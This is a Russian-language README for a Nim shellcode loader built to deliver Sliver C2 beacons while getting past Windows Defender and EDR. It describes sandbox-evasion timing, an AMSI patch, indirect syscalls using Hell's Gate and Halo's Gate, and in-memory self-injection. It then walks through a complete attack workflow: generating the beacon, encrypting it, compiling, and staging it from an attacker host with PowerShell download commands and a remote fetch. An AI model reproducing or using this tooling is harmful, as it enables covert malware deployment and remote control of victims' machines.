
Инструмент шифрования на основе Nim для обфускации шелл-кода и полезных нагрузок с целью обхода Windows Defender.
# nimcrypt
Загрузчик шеллкода для Sliver, написанный на Nim, предназначенный для Windows x64. Два варианта, покрывающие два наиболее распространенных сценария доставки. Протестирован против Защитника Windows (Windows Defender) с включенной защитой в реальном времени.
## Варианты
### stager
Считывает зашифрованный бинарник шеллкода с диска, расшифровывает его в памяти и внедряет в себя. Используйте этот вариант, если у вас уже есть возможность сбросить файл и нужен небольшой простой бинарник.
```
loader.exe <shellcode.bin> [key_hex iv_hex]
```
Ключ и IV необязательны. Если они опущены, файл обрабатывается как нешифрованный шеллкод.
### stageless
Загружает зашифрованный бинарник с вашего C2 через HTTP, используя стек WinHTTP от Windows, расшифровывает его в памяти и внедряет в себя. Файл никогда не касается диска. Используйте этот вариант, когда вы можете запустить бинарник на целевой машине, но не можете надежно сбросить второй файл.
Отредактируйте константы в начале `stageless/loader.nim` перед компиляцией:
```nim
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 шестнадцатеричных символа из encrypt.py
scIV = "..." # 32 шестнадцатеричных символа из encrypt.py
```
## Техники
### Обход песочницы (Sandbox evasion)
Загрузчик stageless вызывает `Sleep(5000)` при запуске и измеряет фактическое прошедшее время с помощью `GetTickCount64`. Если прошло менее 4500 мс, процесс завершается. Большинство автоматизированных сред песочниц ускоряют или пропускают ожидания, из-за чего проверка не проходит. Это происходит до любых сетевых операций или выполнения шеллкода, поэтому песочницы, анализирующие сетевое поведение, ничего не увидят.
### Обход AMSI (AMSI bypass)
`amsi.nim` патчит `AmsiScanBuffer` во время выполнения, используя два уровня обфускации:
**Скрытие строк с помощью хеширования FNV-1a.** Строка `AmsiScanBuffer` никогда не появляется в бинарнике. Вместо этого её хеш FNV-1a вычисляется на этапе компиляции и сохраняется как константа. Во время выполнения загрузчик проходит по таблице экспорта amsi.dll, хеширует каждое имя экспорта и сравнивает с сохранённым значением, чтобы найти адрес функции, не храня строку в памяти.
**Обфускация XOR на этапе компиляции.** Имя DLL (`amsi.dll`) и байты патча (`xor eax, eax; ret` = `31 C0 C3`) кодируются XOR на этапе компиляции со случайным ключом, генерируемым заново при каждой сборке через подпроцесс Python. Ключ встраивается как константа, а байты декодируются во время выполнения непосредственно перед использованием. Сырые байты меняются при каждой сборке, нарушая статические сигнатуры на последовательность патча.
Патч перезаписывает первые три байта `AmsiScanBuffer` на `xor eax, eax; ret`, заставляя каждый вызов возвращать `AMSI_RESULT_CLEAN` независимо от входных данных.
### Шифрование полезной нагрузки (Payload encryption)
`encrypt.py` шифрует сырой шеллкод с помощью AES-256-CBC, используя случайно сгенерированный 32-байтовый ключ и 16-байтовый IV. Загрузчик расшифровывает на месте, используя Windows BCrypt API, поэтому на целевой машине не требуется сторонняя криптографическая библиотека.
### Переход памяти от RW к RX
Память выделяется как `PAGE_READWRITE`, в неё записывается шеллкод, а затем область переключается в `PAGE_EXECUTE_READ` перед выполнением. Выделение сразу как `PAGE_EXECUTE_READWRITE` является известной сигнатурой, которую Defender и EDR явно помечают. Разделение фаз записи и выполнения позволяет избежать этого шаблона.
### Непрямые системные вызовы (Indirect syscalls) (Hell's Gate + Halo's Gate)
`stageless/syscalls.nim` обходит как слой Win32 API (kernel32.dll), так и любые хуки userland в ntdll.dll, установленные EDR.
**Определение SSN.** При запуске загрузчик получает базовый адрес ntdll и анализирует её таблицу экспорта PE, собирая каждый экспорт `Nt*`, отсортированный по RVA. Для каждой необходимой NT-функции проверяются первые четыре байта:
- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) означает, что заглушка чиста, и SSN считывается непосредственно из байтов 4-5. Это Hell's Gate.
- Всё остальное означает, что пролог функции был изменён хуком EDR. В этом случае загрузчик просматривает соседние записи в отсортированном списке, пока не найдёт чистую заглушку, затем вычисляет целевой SSN как `neighbor_SSN +/- distance`. SSN увеличиваются на единицу на каждую заглушку в порядке адресов. Это Halo's Gate.
**Поиск гаджета.** Загрузчик сканирует первую найденную чистую заглушку Nt* на предмет последовательности байт `0F 05 C3` (`syscall; ret`). Это даёт адрес внутри раздела `.text`, поддерживаемого образом ntdll, который можно повторно использовать.
**Генерация заглушек.** Для каждой требуемой функции 22-байтовая заглушка записывается на одну RW-страницу, которая перед использованием переключается в RX:
```
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx адрес гаджета
```
`jmp [rip+0]` разыменовывает 8 байт, следующие сразу за ним (адрес гаджета), и перенаправляет выполнение на существующую последовательность `syscall; ret` внутри ntdll. Инструкция `syscall` выполняется из раздела `.text` ntdll, а не из нашей анонимной области, что обходит отслеживание на уровне ядра, откуда был сделан системный вызов.
Четыре функции, реализованные через непрямые системные вызовы: `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx` и `NtWaitForSingleObject`.
### Самостоятельное внедрение (Self-injection)
После расшифровки загрузчик stageless выделяет RW-область в своём собственном процессе через `NtAllocateVirtualMemory`, копирует шеллкод с помощью `copyMem`, переключает область в RX через `NtProtectVirtualMemory` и запускает поток через `NtCreateThreadEx`. Главный поток затем бесконечно блокируется на `NtWaitForSingleObject`, удерживая процесс живым, пока работают горутины бэкдора. Все четыре вызова проходят через описанные выше заглушки непрямых системных вызовов.
Самостоятельное внедрение минимизирует поверхность вызовов. Здесь нет межпроцессных API-вызовов (`WriteProcessMemory`, `CreateRemoteThread` и т.д.), которые являются основными векторами обнаружения для классического удалённого внедрения.
## Поток выполнения (stageless)
1. Проверка времени: сон 5 секунд, выход, если прошло < 4.5 с
2. Патч AMSI: найти `AmsiScanBuffer` через FNV-1a, перезаписать на `xor eax, eax; ret`
3. Определить непрямые системные вызовы: проанализировать экспорт ntdll, найти SSN (Hell's Gate + Halo's Gate), найти гаджет `syscall; ret`, записать заглушки
4. Загрузка: GET-запрос WinHTTP, чтение тела ответа
5. Расшифровка: AES-256-CBC через BCrypt на месте
6. Выделение: `NtAllocateVirtualMemory` в собственном процессе (RW) через непрямой системный вызов
7. Копирование шеллкода в выделенную область
8. Защита: `NtProtectVirtualMemory` в PAGE_EXECUTE_READ через непрямой системный вызов
9. Выполнение: `NtCreateThreadEx` через непрямой системный вызов
10. Ожидание: `NtWaitForSingleObject` на дескрипторе потока через непрямой системный вызов
## Поток выполнения (stager)
1. Патч AMSI
2. Чтение файла шеллкода с диска
3. Расшифровка, если были предоставлены ключ и IV
4. `VirtualAlloc` (RW), копирование шеллкода, `VirtualProtect` в RX
5. Выполнение через преобразование указателя на функцию
## Требования
На вашей сборочной Linux-машине:
- Nim + nimble (`nimble install winim`)
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
- Python 3 + pycryptodome (`pip install pycryptodome`)
## Полный рабочий процесс
### 1. Запустите слушатель Sliver
```
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
```
### 2. Сгенерируйте шеллкод для бэкдора
```
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
```
### 3. Зашифруйте
```bash
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
```
### 4. Установите константы и скомпилируйте
Отредактируйте `stageless/loader.nim` и задайте `c2Host`, `c2Port`, `c2Path`, `scKey`, `scIV`, затем из корня проекта:
```bash
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
```
Всегда компилируйте из корня проекта, чтобы загружался только корневой `nim.cfg`. На выходе получается статически слинкованный Windows x64 PE без внешних зависимостей от DLL, кроме стандартных системных библиотек.
### 5. Отдайте или передайте
Stageless: отдайте зашифрованный бинарник по HTTP на порту, соответствующем `c2Port`:
```bash
cd bins && python3 -m http.server 443
```
Stager: передайте оба файла на целевую машину:
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
```
### 6. Выполните
Stageless:
```
loader.exe
```
Stager с шифрованием:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```
Stager без шифрования:
```
loader.exe shellcode.bin
```
## Доставка через PowerShell
Если доставка осуществляется через загрузочный скрипт PowerShell, AMSI отсканирует скрипт до запуска загрузчика. Сначала пропатчите AMSI в вашей PS-сессии:
```bash
python3 gen_amsi.py
```
Вставьте вывод в PS-сессию перед загрузкой или выполнением чего-либо. Скрипт находит `AmsiScanBuffer` по хешу таблицы экспорта, поэтому строка никогда не появляется в открытом виде, а все байты патча закодированы XOR со случайным ключом, уникальным для каждого запуска.
## Примечания
- Требуется Windows 10 / Server 2016+ (Universal CRT)
- `BCryptSetProperty` для режима цепочки возвращает `STATUS_INVALID_PARAMETER`, но BCrypt по умолчанию использует CBC, расшифровка работает корректно
- Непрямые системные вызовы охватывают только четыре критических для внедрения NT-функции. Вызовы Winsock и BCrypt по-прежнему идут по обычным путям API, что допустимо, поскольку эти вызовы по отдельности ведут себя безобидно
- Инструкция `syscall` в заглушках выполняется внутри раздела `.text` ntdll (поддерживаемого образом, подписанного Microsoft), а не со страницы заглушки, что обходит отслеживание источника системного вызова на уровне ядра
## Ссылки
- https://github.com/gatariee/ldrgen
- https://github.com/D3Ext/Hooka
Вы можете найти больше подробностей о механизмах Защитника, техниках и других инструментах в [моём блоге](https://chaelsoo.me)